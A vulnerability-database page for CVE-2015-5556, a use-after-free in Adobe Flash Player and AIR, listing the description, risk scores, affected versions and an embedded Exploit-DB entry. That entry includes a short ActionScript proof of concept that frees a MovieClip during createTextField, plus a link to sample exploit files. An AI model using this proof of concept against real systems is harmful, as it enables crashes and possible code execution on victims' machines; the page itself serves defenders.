CVE-2015-5556

critical
Published 2015-08-14 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37873 dos multiple verified text ยท 1 KB
Google Security Research ยท 2015-08-19

Adobe Flash - createTextField Use-After-Free

text exploit Source: Exploit-DB
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip

OS impact

linux Linux kernel Fixed 1 release
VersionStatusFixed in
- Not affected โ€”
macos macOS Fixed 1 release
VersionStatusFixed in
- Not affected โ€”

Application impact

VendorProductVersionsFixed
adobe adobeair{"endIncluding":"18.0.0.180"}
adobe adobeair_sdk{"endIncluding":"18.0.0.180"}
adobe adobeair_sdk_\&_compiler{"endIncluding":"18.0.0.180"}
adobe adobeflash_player{"endIncluding":"18.0.0.209"}

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.